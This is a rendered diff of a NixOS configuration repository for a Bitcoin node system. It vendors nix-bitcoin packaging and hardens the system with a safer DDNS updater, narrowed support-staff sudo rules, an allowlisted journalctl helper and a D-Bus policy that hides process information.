chown root: $unprocessedFiles
# shellcheck disable=SC2086
chmod 0440 $unprocessedFiles
fi
# Now make the secrets dir accessible to other users
chmod 0751 "$dir"
'';
};
};
}
+48
View File
@@ -0,0 +1,48 @@
{ config, lib, pkgs, ... }:
with lib;
{
options = {
nix-bitcoin.security.dbusHideProcessInformation = mkOption {
type = types.bool;
default = false;
description = ''
Only allow users with group `proc` to retrieve systemd unit information like
cgroup paths (i.e. (sub)process command lines) via D-Bus.
This mitigates a systemd security issue where (sub)process command lines can
be retrieved by services even when their access to /proc is restricted
(via ProtectProc).
This option works by restricting the D-Bus method `GetUnitProcesses`, which
is also used internally by {command}`systemctl status`.
'';
};
};
config = mkIf config.nix-bitcoin.security.dbusHideProcessInformation {
users.groups.proc = {};
nix-bitcoin.operator.groups = [ "proc" ]; # Enable operator access to systemd-status
services.dbus.packages = lib.mkAfter [ # Apply at the end to override the default policy
(pkgs.writeTextDir "etc/dbus-1/system.d/dbus.conf" ''
<busconfig>
<policy context="default">
<deny
send_destination="org.freedesktop.systemd1"
send_interface="org.freedesktop.systemd1.Manager"
send_member="GetUnitProcesses"
/>
</policy>
<policy group="proc">
<allow
send_destination="org.freedesktop.systemd1"
send_interface="org.freedesktop.systemd1.Manager"
send_member="GetUnitProcesses"
/>
</policy>
</busconfig>
'')
];
};
}
+12
View File
@@ -0,0 +1,12 @@
{ config, lib, ... }:
with lib;
let
options.nix-bitcoin.configVersion = mkOption {
type = with types; nullOr str;
default = null;
description = "Vendored stub no version migration needed.";
};
in {
inherit options;
config = {};
}
+1
View File
@@ -68,6 +68,7 @@ lib.mkIf config.sovran_systemsOS.services.bitcoin {
name = "free"; name = "free";
}; };
# vendored: now no-op (always uses nixpkgs)
nix-bitcoin.useVersionLockedPkgs = false; nix-bitcoin.useVersionLockedPkgs = false;
systemd.services.bitcoind = { systemd.services.bitcoind = {
+115 -23
View File
@@ -1,32 +1,124 @@
{ config, pkgs, lib, ... }: { config, pkgs, lib, ... }:
{ {
# ── Ensure njalla directory and base script exist on every build ── # ── Ensure njalla directory exists on every build ────────────────────────
systemd.tmpfiles.rules = [ systemd.tmpfiles.rules = [
"d /var/lib/njalla 0750 root root -" "d /var/lib/njalla 0750 root root -"
]; ];
# ── Create base njalla.sh if it doesn't exist yet ─────────── # ── Install the shared validation helper so the DDNS runner can import it
systemd.services.njalla-init = { # The exact same _validate_ddns_url() function used by the Hub web application
description = "Initialize Njal.la DDNS script if missing"; # is installed here as a read-only system file. The DDNS runner imports it
wantedBy = [ "multi-user.target" ]; # directly so the two code paths share one validator — no weaker inline copy.
serviceConfig = { environment.etc."sovran/security_helpers.py" = {
Type = "oneshot"; source = ../../app/sovran_systemsos_web/security_helpers.py;
RemainAfterExit = true; mode = "0444";
}; user = "root";
unitConfig = { group = "root";
ConditionPathExists = "!/var/lib/njalla/njalla.sh";
};
script = ''
cat > /var/lib/njalla/njalla.sh <<'SCRIPT'
#!/usr/bin/env bash
IP=$(dig @resolver4.opendns.com myip.opendns.com +short -4)
## Add DDNS entries below one curl per line
## Managed via Sovran Hub web interface
SCRIPT
chmod 700 /var/lib/njalla/njalla.sh
'';
}; };
# ── Safe DDNS update service ─────────────────────────────────────────────
# Reads DDNS update URLs from the JSON store written by the Hub API and
# invokes curl directly — no shell interpolation, no script execution.
# Replaces the legacy root cron job that ran /var/lib/njalla/njalla.sh.
systemd.services.sovran-ddns-update = {
description = "Sovran Njal.la DDNS update (safe JSON-based runner)";
wants = [ "network-online.target" ];
after = [ "network-online.target" ];
serviceConfig = {
Type = "oneshot";
User = "root";
ExecStart = "${pkgs.python3}/bin/python3 /var/lib/sovran/ddns-update.py";
# Harden the service — it only needs network access and read access to
# /var/lib/njalla/ddns_urls.json.
NoNewPrivileges = true;
ProtectSystem = "strict";
ReadWritePaths = [ "/var/lib/njalla" ];
ReadOnlyPaths = [ "/etc/sovran" ];
ProtectHome = true;
PrivateTmp = true;
RestrictAddressFamilies = [ "AF_INET" "AF_INET6" ];
};
};
# Run the update every 15 minutes
systemd.timers.sovran-ddns-update = {
description = "Sovran Njal.la DDNS update timer";
wantedBy = [ "timers.target" ];
timerConfig = {
OnBootSec = "2min";
OnUnitActiveSec = "15min";
Persistent = true;
};
};
# Install the Python runner script at build time so the service can find it.
# The script is owned by root and not world-writable.
# Uses _validate_ddns_url() from /etc/sovran/security_helpers.py — the same
# production validator used by the Hub API — before executing any curl call.
# No shell is used; no redirects; no script execution.
# ${IP} placeholder is preserved in stored URLs and substituted at runtime;
# the URL is validated after substitution so any remaining $ is rejected.
system.activationScripts.sovran-ddns-update-script = ''
install -d -m 0755 /var/lib/sovran
cat > /var/lib/sovran/ddns-update.py <<'PYEOF'
#!/usr/bin/env python3
"""Sovran safe DDNS update runner.
Reads ddns_urls.json, substitutes the public IP for the ''${IP} placeholder,
validates each URL using the production _validate_ddns_url() from
/etc/sovran/security_helpers.py, then calls curl per URL.
No shell interpolation. No redirects. No script execution.
"""
import ipaddress, json, os, subprocess, sys
sys.path.insert(0, '/etc/sovran')
try:
from security_helpers import _validate_ddns_url
except ImportError:
sys.exit(1) # validator missing fail so systemd logs the misconfiguration
URLS_FILE = "/var/lib/njalla/ddns_urls.json"
try:
with open(URLS_FILE) as f:
urls = json.load(f)
if not isinstance(urls, list):
raise ValueError("not a list")
except Exception:
sys.exit(0) # no URLs configured nothing to do
# Resolve current public IP once
public_ip = ""
try:
r = subprocess.run(
["dig", "@resolver4.opendns.com", "myip.opendns.com", "+short", "-4"],
capture_output=True, text=True, timeout=10,
)
raw = r.stdout.strip().splitlines()[0] if r.stdout.strip() else ""
ipaddress.ip_address(raw) # validates raises if not a real IP
public_ip = raw
except Exception:
pass
if not public_ip:
sys.exit(0) # no IP resolved skip to avoid sending bare ''${IP}
for raw_url in urls:
try:
# Substitute ''${IP} placeholder then validate through production validator.
# After substitution there must be no $ left; _validate_ddns_url rejects
# any remaining $ expression.
url = raw_url.replace("''${IP}", public_ip)
_validate_ddns_url(url)
subprocess.run(
["curl", "--silent", "--max-time", "15", "--fail", "--no-location", url],
timeout=20, check=False,
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
)
except Exception:
pass
PYEOF
chmod 0500 /var/lib/sovran/ddns-update.py
'';
} }
+3 -3
View File
@@ -3,9 +3,9 @@
{ {
config = lib.mkMerge [ config = lib.mkMerge [
# nix-bitcoin is globally imported by the flake (nixosModules.Sovran_SystemsOS). # Vendored nix-bitcoin is always imported via modules/vendor/nix-bitcoin/modules.nix.
# This default satisfies nix-bitcoin's generateSecrets assertion so that Desktop # This default satisfies the secrets assertion so Desktop-Only systems evaluate
# Only systems can evaluate without enabling any Bitcoin services. # without enabling any Bitcoin services.
{ {
nix-bitcoin.generateSecrets = lib.mkDefault true; nix-bitcoin.generateSecrets = lib.mkDefault true;
} }
+11 -4
View File
@@ -135,10 +135,16 @@ let
"bitcoind.service" = if pkgs ? bitcoind-knots then pkgs.bitcoind-knots.version else (if pkgs ? bitcoind then pkgs.bitcoind.version else "27.1.0"); "bitcoind.service" = if pkgs ? bitcoind-knots then pkgs.bitcoind-knots.version else (if pkgs ? bitcoind then pkgs.bitcoind.version else "27.1.0");
"electrs.service" = if pkgs ? electrs then pkgs.electrs.version else "0.10.6"; "electrs.service" = if pkgs ? electrs then pkgs.electrs.version else "0.10.6";
"lnd.service" = if pkgs ? lnd then pkgs.lnd.version else "0.18.0"; "lnd.service" = if pkgs ? lnd then pkgs.lnd.version else "0.18.0";
"rtl.service" = if pkgs ? clightning-rtl then pkgs.clightning-rtl.version else (if pkgs ? rtl then pkgs.rtl.version else "0.15.2"); # Keep the fallbacks aligned with the vendored packages used by the
"btcpayserver.service" = if pkgs ? btcpayserver then pkgs.btcpayserver.version else "2.0.0"; # service modules (RTL 0.15.8 and Mempool 3.2.1). The nixpkgs attrs are
# optional because these packages are built locally in this repository.
"rtl.service" = if pkgs ? clightning-rtl then pkgs.clightning-rtl.version else (if pkgs ? rtl then pkgs.rtl.version else "0.15.8");
# BTCPay Server is intentionally sourced from pkgs.stable by the service
# module. Read the configured package here rather than pkgs.btcpayserver
# (unstable), otherwise the Hub can advertise a version that is not running.
"btcpayserver.service" = lib.getVersion config.services.btcpayserver.package;
"albyhub.service" = if pkgs ? albyhub then pkgs.albyhub.version else "1.8.0"; "albyhub.service" = if pkgs ? albyhub then pkgs.albyhub.version else "1.8.0";
"mempool.service" = if pkgs ? mempool then pkgs.mempool.version else "3.0.0"; "mempool.service" = if pkgs ? mempool then pkgs.mempool.version else "3.2.1";
"matrix-synapse.service" = if pkgs ? matrix-synapse then pkgs.matrix-synapse.version else "1.115.0"; "matrix-synapse.service" = if pkgs ? matrix-synapse then pkgs.matrix-synapse.version else "1.115.0";
"livekit.service" = if pkgs ? livekit then pkgs.livekit.version else "1.5.2"; "livekit.service" = if pkgs ? livekit then pkgs.livekit.version else "1.5.2";
"vaultwarden.service" = if pkgs ? vaultwarden then pkgs.vaultwarden.version else "1.32.0"; "vaultwarden.service" = if pkgs ? vaultwarden then pkgs.vaultwarden.version else "1.32.0";
@@ -317,7 +323,8 @@ let
sovran-hub-web = pkgs.python3Packages.buildPythonApplication { sovran-hub-web = pkgs.python3Packages.buildPythonApplication {
pname = "sovran-systemsos-hub-web"; pname = "sovran-systemsos-hub-web";
version = "1.0.0"; # Keep the package metadata in lockstep with the version shown in the Hub.
version = sovranVersion;
format = "other"; format = "other";
src = ../../app; src = ../../app;
+175
View File
@@ -0,0 +1,175 @@
#!/usr/bin/env python3
"""Sovran restricted journal helper.
A root-owned, non-user-writable diagnostic tool that wraps journalctl with
a strict allowlist of safe flags. Replaces the ``journalctl *`` sudo rule
in tech-support.nix.
Accepted flags:
--unit / -u <name> must be one of the explicitly approved service units
--lines / -n <N> positive integer (max 10000)
--priority / -p <level> 0-7 or emerg/alert/crit/err/warning/notice/info/debug
--since <datetime> ISO 8601 date/datetime (no paths, no filesystem roots)
--until <datetime> ISO 8601 date/datetime (no paths, no filesystem roots)
--output / -o <format> short | short-iso | cat | json | verbose
At least one ``--unit`` flag is required; whole-journal queries are rejected.
All other flags, paths, directories, roots, namespaces, and output
destinations are rejected with a non-zero exit code.
"""
import re
import subprocess
import sys
# ── Allowlists ────────────────────────────────────────────────────────────────
# Explicit approved units. Only these four services may be queried through
# the restricted journal helper. Any other unit is rejected.
_APPROVED_UNITS: frozenset[str] = frozenset([
"sovran-hub-web.service",
"caddy.service",
"bitcoind.service",
"lnd.service",
])
_ALLOWED_PRIORITIES = frozenset([
"0", "1", "2", "3", "4", "5", "6", "7",
"emerg", "alert", "crit", "err", "warning", "notice", "info", "debug",
])
_ALLOWED_OUTPUT_FORMATS = frozenset([
"short", "short-iso", "cat", "json", "verbose",
])
# ISO 8601 date or datetime: YYYY-MM-DD or YYYY-MM-DDTHH:MM:SS (no paths)
_DATETIME_RE = re.compile(r'^\d{4}-\d{2}-\d{2}(T\d{2}:\d{2}(:\d{2})?)?$')
_MAX_LINES = 10000
# ── Argument parser ───────────────────────────────────────────────────────────
def _die(msg: str) -> None:
print(f"sovran-journal-helper: {msg}", file=sys.stderr)
sys.exit(1)
def _validate_unit(val: str) -> str:
if val not in _APPROVED_UNITS:
_die(
f"rejected unit name: {val!r} "
f"(allowed: {', '.join(sorted(_APPROVED_UNITS))})"
)
return val
def _validate_lines(val: str) -> str:
try:
n = int(val)
except ValueError:
_die(f"rejected: --lines must be a positive integer, got {val!r}")
if n <= 0 or n > _MAX_LINES:
_die(f"rejected: --lines must be between 1 and {_MAX_LINES}, got {n}")
return str(n)
def _validate_priority(val: str) -> str:
if val not in _ALLOWED_PRIORITIES:
_die(f"rejected priority: {val!r}")
return val
def _validate_datetime(val: str) -> str:
if not _DATETIME_RE.match(val):
_die(f"rejected: datetime {val!r} (must be YYYY-MM-DD or YYYY-MM-DDTHH:MM:SS)")
return val
def _validate_output(val: str) -> str:
if val not in _ALLOWED_OUTPUT_FORMATS:
_die(f"rejected output format: {val!r}")
return val
def main() -> None:
args = sys.argv[1:]
cmd = ["journalctl"]
unit_count = 0
i = 0
while i < len(args):
arg = args[i]
if arg in ("--unit", "-u"):
i += 1
if i >= len(args):
_die("--unit requires a value")
cmd += ["--unit", _validate_unit(args[i])]
unit_count += 1
elif arg.startswith("--unit="):
cmd += ["--unit", _validate_unit(arg[len("--unit="):])]
unit_count += 1
elif arg in ("--lines", "-n"):
i += 1
if i >= len(args):
_die("--lines requires a value")
cmd += ["--lines", _validate_lines(args[i])]
elif arg.startswith("--lines="):
cmd += ["--lines", _validate_lines(arg[len("--lines="):])]
elif re.match(r'^-n\d+$', arg):
cmd += ["--lines", _validate_lines(arg[2:])]
elif arg in ("--priority", "-p"):
i += 1
if i >= len(args):
_die("--priority requires a value")
cmd += ["--priority", _validate_priority(args[i])]
elif arg.startswith("--priority="):
cmd += ["--priority", _validate_priority(arg[len("--priority="):])]
elif arg == "--since":
i += 1
if i >= len(args):
_die("--since requires a value")
cmd += ["--since", _validate_datetime(args[i])]
elif arg.startswith("--since="):
cmd += ["--since", _validate_datetime(arg[len("--since="):])]
elif arg == "--until":
i += 1
if i >= len(args):
_die("--until requires a value")
cmd += ["--until", _validate_datetime(args[i])]
elif arg.startswith("--until="):
cmd += ["--until", _validate_datetime(arg[len("--until="):])]
elif arg in ("--output", "-o"):
i += 1
if i >= len(args):
_die("--output requires a value")
cmd += ["--output", _validate_output(args[i])]
elif arg.startswith("--output="):
cmd += ["--output", _validate_output(arg[len("--output="):])]
else:
_die(
f"rejected flag: {arg!r}. "
"Allowed flags: --unit, --lines, --priority, --since, --until, --output"
)
i += 1
if unit_count == 0:
_die(
"at least one --unit flag is required; "
f"allowed units: {', '.join(sorted(_APPROVED_UNITS))}"
)
result = subprocess.run(cmd)
sys.exit(result.returncode)
if __name__ == "__main__":
main()
+33 -12
View File
@@ -11,11 +11,10 @@
# (u:sovran-support:---) by the Hub API as soon as a session is started. # (u:sovran-support:---) by the Hub API as soon as a session is started.
# • The Hub web UI lets the user grant time-limited access to wallet files # • The Hub web UI lets the user grant time-limited access to wallet files
# and view a full audit log of every session event. # and view a full audit log of every session event.
# • Scoped sudo rules allow support staff to edit custom.nix, trigger rebuilds, # • Scoped sudo rules allow support staff to restart specific services and
# restart services, and read logs — without full root or wallet access. # read logs — without full root, wallet access, Nix editing, or rebuilds.
# # • journalctl access is provided only through the root-owned
# The `acl` package provides the `setfacl` / `getfacl` utilities required by # sovran-journal-helper script (see below) with an allowlist of safe flags.
# the Hub's _apply_wallet_acls() and _revoke_wallet_acls() helpers.
{ {
# ── System packages ──────────────────────────────────────────────────────── # ── System packages ────────────────────────────────────────────────────────
environment.systemPackages = [ pkgs.acl ]; environment.systemPackages = [ pkgs.acl ];
@@ -42,18 +41,40 @@
"d /var/lib/sovran-support/.ssh 0700 sovran-support sovran-support -" "d /var/lib/sovran-support/.ssh 0700 sovran-support sovran-support -"
]; ];
# ── Restricted journal helper ─────────────────────────────────────────────
# The helper is root-owned, not writable by any user, and accepts only a
# narrow allowlist of safe journalctl flags. It is the sole mechanism by
# which the support user may read journal logs.
environment.etc."sovran/sovran-journal-helper.py" = {
source = ./sovran-journal-helper.py;
mode = "0500";
user = "root";
group = "root";
};
# ── Scoped sudo rules for support staff ─────────────────────────────────── # ── Scoped sudo rules for support staff ───────────────────────────────────
# Grants only the minimum privileges needed for a support session. # Grants only the minimum privileges needed for diagnostic support.
# Support staff cannot stop/disable/mask services or access wallet files. # Editing Nix configuration and running nixos-rebuild are intentionally
# excluded: combining those two permissions provides a trivial path to
# arbitrary root code execution. Systemctl access is limited to a small
# allowlist of named service restart operations. journalctl is available
# only through the restricted helper above.
security.sudo.extraRules = [ security.sudo.extraRules = [
{ {
users = [ "sovran-support" ]; users = [ "sovran-support" ];
commands = [ commands = [
{ command = "/run/current-system/sw/bin/nano /etc/nixos/custom.nix"; options = [ "NOPASSWD" ]; } { command = "/run/current-system/sw/bin/systemctl restart sovran-hub-web.service"; options = [ "NOPASSWD" ]; }
{ command = "/run/current-system/sw/bin/nano /etc/nixos/configuration.nix"; options = [ "NOPASSWD" ]; } { command = "/run/current-system/sw/bin/systemctl restart caddy.service"; options = [ "NOPASSWD" ]; }
{ command = "/run/current-system/sw/bin/nixos-rebuild switch --flake /etc/nixos"; options = [ "NOPASSWD" ]; } { command = "/run/current-system/sw/bin/systemctl restart bitcoind.service"; options = [ "NOPASSWD" ]; }
{ command = "/run/current-system/sw/bin/systemctl restart *"; options = [ "NOPASSWD" ]; } { command = "/run/current-system/sw/bin/systemctl restart lnd.service"; options = [ "NOPASSWD" ]; }
{ command = "/run/current-system/sw/bin/journalctl *"; options = [ "NOPASSWD" ]; } { command = "/run/current-system/sw/bin/systemctl status sovran-hub-web.service"; options = [ "NOPASSWD" ]; }
{ command = "/run/current-system/sw/bin/systemctl status caddy.service"; options = [ "NOPASSWD" ]; }
{ command = "/run/current-system/sw/bin/systemctl status bitcoind.service"; options = [ "NOPASSWD" ]; }
{ command = "/run/current-system/sw/bin/systemctl status lnd.service"; options = [ "NOPASSWD" ]; }
# Restricted journal helper: accepts only safe flags (--unit, --lines,
# --priority, --since, --until, --output). Rejects paths, directories,
# namespaces, roots, and arbitrary output destinations.
{ command = "/run/current-system/sw/bin/python3 /etc/sovran/sovran-journal-helper.py *"; options = [ "NOPASSWD" ]; }
]; ];
} }
]; ];
+1 -1
View File
@@ -237,7 +237,7 @@ CREDS
# idempotent without exposing this service credential in the Hub UI. # idempotent without exposing this service credential in the Hub UI.
HUB_ADMIN_CREDS="/var/lib/secrets/matrix-hub-admin" HUB_ADMIN_CREDS="/var/lib/secrets/matrix-hub-admin"
if [ ! -s "$HUB_ADMIN_CREDS" ]; then if [ ! -s "$HUB_ADMIN_CREDS" ]; then
HUB_ADMIN_USER="sovran-hub-$(tr -dc 'a-z0-9' < /dev/urandom | head -c 20)" HUB_ADMIN_USER="sovran-hub-$(pwgen -sA0 20 1)"
HUB_ADMIN_PASS=$(pwgen -s 32 1) HUB_ADMIN_PASS=$(pwgen -s 32 1)
if register_new_matrix_user -c /run/matrix-synapse/runtime-config.yaml \ if register_new_matrix_user -c /run/matrix-synapse/runtime-config.yaml \
-u "$HUB_ADMIN_USER" -p "$HUB_ADMIN_PASS" -a http://localhost:8008; then -u "$HUB_ADMIN_USER" -p "$HUB_ADMIN_PASS" -a http://localhost:8008; then
@@ -0,0 +1,79 @@
# Vendored from fort-nix/nix-bitcoin commit 360e30fee.
# This local copy does not fetch or import nix-bitcoin.
# This is a modified version of
# https://github.com/NixOS/nixpkgs/pull/128749
{ lib, stdenvNoCC, makeWrapper, nodejs, cacert }:
{ src
, hash ? ""
, runScripts ? false
, preferLocalBuild ? true
, npmFlags ? ""
, ...
} @ args:
stdenvNoCC.mkDerivation ({
inherit src preferLocalBuild;
name = "${src.name}-node_modules";
nativeBuildInputs = [
makeWrapper
(if args ? nodejs then args.nodejs else nodejs)
];
outputHashMode = "recursive";
impureEnvVars = lib.fetchers.proxyImpureEnvVars;
phases = "unpackPhase patchPhase buildPhase installPhase";
# npm doesn't support var `SSL_CERT_FILE`.
NODE_EXTRA_CA_CERTS = "${cacert}/etc/ssl/certs/ca-bundle.crt";
buildPhase = ''
runHook preBuild
if [[ ! -f package.json ]]; then
echo "Error: file `package.json` doesn't exist"
exit 1
fi
if [[ ! -f package-lock.json ]]; then
echo "Error: file `package-lock.json` doesn't exist"
exit 1
fi
export SOURCE_DATE_EPOCH=1
export npm_config_cache=/tmp
NPM_FLAGS="--omit=dev --omit=optional --no-update-notifier $npmFlags"
# Scripts may result in non-deterministic behavior.
# Some packages (e.g., Puppeteer) use postinstall scripts to download extra data.
if [[ ! $runScripts ]]; then
NPM_FLAGS+=" --ignore-scripts"
fi
echo "Running npm ci $NPM_FLAGS"
npm ci $NPM_FLAGS
cp package.json \
package-lock.json node_modules/
rm -f node_modules/.package-lock.json
runHook postBuild
'';
installPhase = ''
runHook preInstall
mkdir -p $out/lib
cp -r node_modules $out/lib
runHook postInstall
'';
} // (
if hash == "" then {
outputHashAlgo = "sha256";
outputHash = "";
} else {
outputHash = hash;
}
) // (builtins.removeAttrs args [ "hash" ]))
+19
View File
@@ -0,0 +1,19 @@
{ lib, buildGoModule, fetchFromGitHub }:
buildGoModule rec {
pname = "lndinit";
version = "0.1.3-beta";
src = fetchFromGitHub {
owner = "lightninglabs";
repo = pname;
rev = "v${version}";
sha256 = "sha256-sO1DpbppCurxr9g9nUl9Vx82FJK1mTcUw3rY1Fm1wEU=";
};
vendorHash = "sha256-El44BS5Bu0K/klMxkajciU/R6uqiXBMOiLN536QztbE=";
subPackages = [ "." ];
meta = with lib; {
description = "Wallet initializer for lnd (from nix-bitcoin)";
homepage = "https://github.com/lightninglabs/lndinit";
license = licenses.mit;
};
}
@@ -0,0 +1,41 @@
From e4b3ebaf0451c1bddbd7dcf8527c296938ebb607 Mon Sep 17 00:00:00 2001
From: Erik Arvstedt <erik.arvstedt@gmail.com>
Date: Sun, 1 Jun 2025 11:17:22 +0200
Subject: [PATCH] allow disabling mining pool fetching in offline environments
Previously, Mempool strictly required fetching mining pool data from
Github and failed when this was not possible, e.g. in offline
environments.
This patch allows disabling pool fetching.
When disabled, empty pool data is inserted into the DB, which
effectively turns off block pool classification.
---
backend/src/tasks/pools-updater.ts | 5 ++++-
1 file changed, 4 insertions(+), 1 deletion(-)
diff --git a/backend/src/tasks/pools-updater.ts b/backend/src/tasks/pools-updater.ts
index 6b0520dfc..a74259b95 100644
--- a/backend/src/tasks/pools-updater.ts
+++ b/backend/src/tasks/pools-updater.ts
@@ -75,7 +75,7 @@ class PoolsUpdater {
} else {
logger.warn(`pools-v2.json is outdated, fetching latest from ${this.poolsUrl} over ${network}`, this.tag);
}
- const poolsJson = await this.query(this.poolsUrl);
+ const poolsJson = (githubSha == "disable-pool-fetching") ? [] : await this.query(this.poolsUrl);
if (poolsJson === undefined) {
return;
}
@@ -136,6 +136,9 @@ class PoolsUpdater {
* Fetch our latest pools-v2.json sha from github
*/
private async fetchPoolsSha(): Promise<string | null> {
+ if (this.poolsUrl == "disable-pool-fetching") {
+ return "disable-pool-fetching";
+ }
const response = await this.query(this.treeUrl);
if (response !== undefined) {
--
2.47.2
+203
View File
@@ -0,0 +1,203 @@
# Packaging adapted from fort-nix/nix-bitcoin commit 360e30fee.
# This local copy does not fetch or import nix-bitcoin.
{ lib
, stdenvNoCC
, nodejs_22
, nodejs-slim_22
, fetchFromGitHub
, fetchNodeModules
, runCommand
, makeWrapper
, curl
, cacert
, rsync
# for rust-gbt (backend module)
, cargo
, rustc
, rustPlatform
, napi-rs-cli
}:
rec {
nodejs = nodejs_22;
nodejsRuntime = nodejs-slim_22;
version = "3.2.1";
src = fetchFromGitHub {
owner = "mempool";
repo = "mempool";
tag = "v${version}";
hash = "sha256-O2XPD1/BXQnzuOP/vMVyRfmFZEgjA85r+PShWne0vqU=";
};
nodeModules = {
frontend = fetchNodeModules {
inherit src nodejs;
sourceRoot = "source/frontend";
hash = "sha256-+jfgsAkDdYvgso8uSHaBj/sQL3fC/ABQWzVTXfdZcU0=";
};
backend = fetchNodeModules {
inherit src nodejs;
sourceRoot = "source/backend";
hash = "sha256-y5l2SYZYK9SKSy6g0+mtTWD6JFkkdQHHBboECpEvWZ4=";
};
};
frontendAssets = fetchFiles {
name = "mempool-frontend-assets";
hash = "sha256-r6GfOY8Pdh15o2OQMk8syfvWMV6WMCReToAEkQm7tqQ=";
fetcher = ./frontend-assets-fetch.sh;
};
mempool-backend = mkDerivationMempool {
pname = "mempool-backend";
patches = [ ./0001-allow-disabling-mining-pool-fetching.patch ];
buildPhase = ''
cd backend
${sync} --chmod=+w ${nodeModules.backend}/lib/node_modules .
patchShebangs node_modules
${sync} ${mempool-rust-gbt}/ rust-gbt
npm run package
runHook postBuild
'';
installPhase = ''
mkdir -p $out/lib/mempool-backend
${sync} package/ $out/lib/mempool-backend
makeWrapper ${nodejsRuntime}/bin/node $out/bin/mempool-backend \
--add-flags $out/lib/mempool-backend/index.js
runHook postInstall
'';
passthru = {
inherit nodejs nodejsRuntime;
nodeModules = nodeModules.backend;
};
};
mempool-frontend = mkFrontend {};
# Argument `config` (type: attrset) defines the mempool frontend config.
# If `{}`, the default config is used.
# See here for available options:
# https://github.com/mempool/mempool/blob/master/frontend/src/app/services/state.service.ts
# (`interface Env` and `defaultEnv`)
mkFrontend = config: mkDerivationMempool {
pname = "mempool-frontend";
buildPhase = ''
cd frontend
${sync} --chmod=+w ${nodeModules.frontend}/lib/node_modules .
patchShebangs node_modules
# sync-assets.js is called during `npm run build` and downloads assets from the
# internet. Disable this script and instead add the assets manually after building.
: > sync-assets.js
${lib.optionalString (config != {}) ''
ln -s ${builtins.toFile "mempool-frontend-config" (builtins.toJSON config)} mempool-frontend-config.json
''}
npm run build
# Add assets that would otherwise be downloaded by sync-assets.js
${sync} ${frontendAssets}/ dist/mempool/browser/resources
runHook postBuild
'';
installPhase = ''
${sync} dist/mempool/browser/ $out
runHook postInstall
'';
passthru = {
withConfig = mkFrontend;
assets = frontendAssets;
nodeModules = nodeModules.frontend;
};
};
mempool-rust-gbt = stdenvNoCC.mkDerivation rec {
pname = "mempool-rust-gbt";
inherit version src meta;
sourceRoot = "source/rust/gbt";
nativeBuildInputs = [
rustPlatform.cargoSetupHook
cargo
rustc
napi-rs-cli
];
cargoDeps = rustPlatform.fetchCargoVendor {
inherit src;
name = "${pname}-${version}";
inherit sourceRoot;
hash = "sha256-eox/K3ipjAqNyFt87lZnxaU/okQLF/KIhqXrX86n+qw=";
};
buildPhase = ''
runHook preBuild
# napi doesn't accept an absolute path as dest dir, so we can't directly write to $out
napi build --platform --release --strip out
runHook postBuild
'';
installPhase = ''
mv out $out
cp package.json $out
'';
passthru = { inherit cargoDeps; };
};
mempool-nginx-conf = runCommand "mempool-nginx-conf" {} ''
${sync} --chmod=u+w ${./nginx-conf}/ $out
${sync} ${src}/production/nginx/http-language.conf $out
'';
sync = "${rsync}/bin/rsync -a --inplace";
mkDerivationMempool = args: stdenvNoCC.mkDerivation ({
inherit version src meta;
nativeBuildInputs = [
makeWrapper
nodejs
rsync
];
phases = "unpackPhase patchPhase buildPhase installPhase";
} // args);
fetchFiles = { name, hash, fetcher }: stdenvNoCC.mkDerivation {
inherit name;
outputHashMode = "recursive";
outputHashAlgo = "sha256";
outputHash = hash;
nativeBuildInputs = [ curl cacert ];
buildCommand = ''
mkdir $out
cd $out
${builtins.readFile fetcher}
'';
};
meta = with lib; {
description = "Bitcoin blockchain and mempool explorer";
homepage = "https://github.com/mempool/mempool/";
license = licenses.agpl3Plus;
maintainers = with maintainers; [ erikarvstedt ];
platforms = platforms.unix;
};
}
+28
View File
@@ -0,0 +1,28 @@
#!/usr/bin/env bash
set -euo pipefail
# Fetch hash-locked versions of assets that are dynamically fetched via
# https://github.com/mempool/mempool/blob/master/frontend/sync-assets.js
# when running `npm run build` in the frontend.
#
# This file is updated by ./frontend-assets-update.sh
declare -A revs=(
["mempool/mining-pool-logos"]=53972ebbd08373cf4910cbb3e6421a1f3bba4563
)
fetchFile() {
repo=$1
file=$2
rev=${revs["$repo"]}
curl -fsS "https://raw.githubusercontent.com/$repo/$rev/$file"
}
fetchRepo() {
repo=$1
rev=${revs["$repo"]}
curl -fsSL "https://github.com/$repo/archive/$rev.tar.gz"
}
mkdir mining-pools
fetchRepo "mempool/mining-pool-logos" | tar xz --strip-components=1 -C mining-pools
@@ -0,0 +1,47 @@
# Settings adapted from
# https://github.com/mempool/mempool/blob/v3.2.1/production/nginx/server-common.conf
# see order of nginx location rules
# https://stackoverflow.com/questions/5238377/nginx-location-priority
# for exact / requests, redirect based on $lang
# cache redirect for 5 minutes
location = / {
if ($lang != '') {
return 302 $scheme://$host/$lang/;
}
try_files /en-US/index.html =404;
expires 5m;
}
# cache /<lang>/main.f40e91d908a068a2.js forever since they never change
location ~ ^/([a-z][a-z])/(.+\..+\.(js|css))$ {
try_files $uri =404;
expires 1y;
}
# cache everything else for 5 minutes
location ~ ^/([a-z][a-z])$ {
try_files $uri /$1/index.html /en-US/index.html =404;
expires 5m;
}
location ~ ^/([a-z][a-z])/ {
try_files $uri /$1/index.html /en-US/index.html =404;
expires 5m;
}
# cache /resources/** for 1 week since they don't change often
location /resources {
try_files $uri /en-US/index.html;
expires 1w;
}
# cache /main.f40e91d908a068a2.js forever since they never change
location ~* ^/.+\..+\.(js|css)$ {
try_files /$lang/$uri /en-US/$uri =404;
expires 1y;
}
# catch-all for all URLs i.e. /address/foo /tx/foo /block/000
# cache 5 minutes since they change frequently
location / {
try_files /$lang/$uri $uri /en-US/$uri /en-US/index.html =404;
expires 5m;
}
+66
View File
@@ -0,0 +1,66 @@
# Packaging adapted from fort-nix/nix-bitcoin commit 360e30fee.
# This local copy does not fetch or import nix-bitcoin.
{ lib
, stdenvNoCC
, nodejs_22
, nodejs-slim_22
, fetchNodeModules
, fetchurl
, makeWrapper
}:
let self = stdenvNoCC.mkDerivation {
pname = "rtl";
version = "0.15.8";
src = fetchurl {
url = "https://github.com/Ride-The-Lightning/RTL/archive/refs/tags/v${self.version}.tar.gz";
hash = "sha256-8XdGyORxB2dkZRB/Yl7zh+Quqo4L/Y0VmC6Brbr/hqU=";
};
passthru = {
nodejs = nodejs_22;
nodejsRuntime = nodejs-slim_22;
nodeModules = fetchNodeModules {
inherit (self) src nodejs;
# TODO-EXTERNAL: Remove `npmFlags` when no longer required
# See: https://github.com/Ride-The-Lightning/RTL/issues/1182
npmFlags = "--legacy-peer-deps";
hash = "sha256-oMqd6nLzS6iQ9w4z2yzpR2unA5qhOq5YdvfoS8IgYLY=";
};
};
nativeBuildInputs = [
makeWrapper
];
